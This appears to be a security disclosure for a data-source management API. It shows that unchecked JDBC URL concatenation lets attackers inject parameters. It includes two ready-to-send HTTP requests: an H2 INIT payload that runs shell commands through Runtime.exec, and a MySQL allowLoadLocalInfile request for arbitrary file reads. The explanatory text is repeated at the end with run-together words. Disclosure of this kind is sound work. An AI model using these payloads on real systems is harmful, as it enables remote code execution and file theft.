The current code logic does not perform any checks on the JDBC URL; it constructs the complete JDBC URL by directly concatenating each part of the URL. Therefore, an attacker can effectively control the entire JDBC URL by injecting specific parameters. Thus, an attacker can launch an attack by injecting malicious JDBC parameters. Here are two examples.
h2 jdbc RCE
H2 JDBC allows code execution via the init parameter; therefore, an attacker could exploit the H2 JDBC URL to implement Remote Code Execution (RCE) within the current project.
POST /api/v2/source/test HTTP/1.1
Host: localhost:9096
Authorization: Bearer eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiJhZG1pbiIsImlhdCI6MTc4NzA2MDk5OCwiZXhwIjoxNzg3MTQ3Mzk4fQ.n5nueHJjjwUbAWqrmcOwJOkyvol2Lo-jgbkukp4BDSONr87FE7ReA_yqGMUD4P7qtktS3Gs4kzn5JJJbgJLF0A
Content-Type: application/json
Content-Length: 642
{
"name": "H2",
"type": "H2",
"configure": {
"configures": [
{"field": "name", "type": "String", "value": "H2"},
{"field": "host", "type": "String", "value": "-"},
{"field": "port", "type": "Number", "value": 1},
{"field": "username", "type": "String", "value": "sa"},
{"field": "password", "type": "String", "value": ""},
{"field": "database", "type": "String", "value": "testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS EXEC AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\\;}'\\;CALL EXEC ('touch /tmp/hackedByFushuling')\\;"}
]
}
}
MySQL JDBC arbitrary file read
Another attack method involves exploiting MySQL. The allowLoadLocalInfile parameter in MySQL JDBC allows arbitrary file reading.
POST /api/v2/source/test HTTP/1.1
Host: localhost:9096
Authorization: Bearer eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiJhZG1pbiIsImlhdCI6MTc4NzA2MDk5OCwiZXhwIjoxNzg3MTQ3Mzk4fQ.n5nueHJjjwUbAWqrmcOwJOkyvol2Lo-jgbkukp4BDSONr87FE7ReA_yqGMUD4P7qtktS3Gs4kzn5JJJbgJLF0A
Content-Type: application/json
Content-Length: 678
{
"name": "MySQL",
"type": "MySQL",
"configure": {
"configures": [
{"field": "name", "type": "String", "value": "MySQL"},
{"field": "host", "type": "String", "value": "xxxx"},
{"field": "port", "type": "Number", "value": 3307},
{"field": "username", "type": "String", "value": "root"},
{"field": "password", "type": "String", "value": "12345678"},
{"field": "ssl", "type": "Boolean", "value": false},
{"field": "database", "type": "String", "value": "datacap"},
{"field": "configures", "type": "Array", "value": [
{"field": "allowLoadLocalInfile", "value": "true"}
]}
]
}
}
The current code logic does not perform any checks on the JDBC URL; it constructs the complete JDBC URL by directly concatenating each part of the URL. Therefore, an attacker can effectively control the entire JDBC URL by injecting specific parameters. Thus, an attacker can launch an attack by injecting malicious JDBC parameters. Here are two examples.
h2 jdbc RCE
H2 JDBC allows code execution via the
initparameter; therefore, an attacker could exploit the H2 JDBC URL to implement Remote Code Execution (RCE) within the current project.MySQL JDBC arbitrary file read
Another attack method involves exploiting MySQL. The
allowLoadLocalInfileparameter in MySQL JDBC allows arbitrary file reading.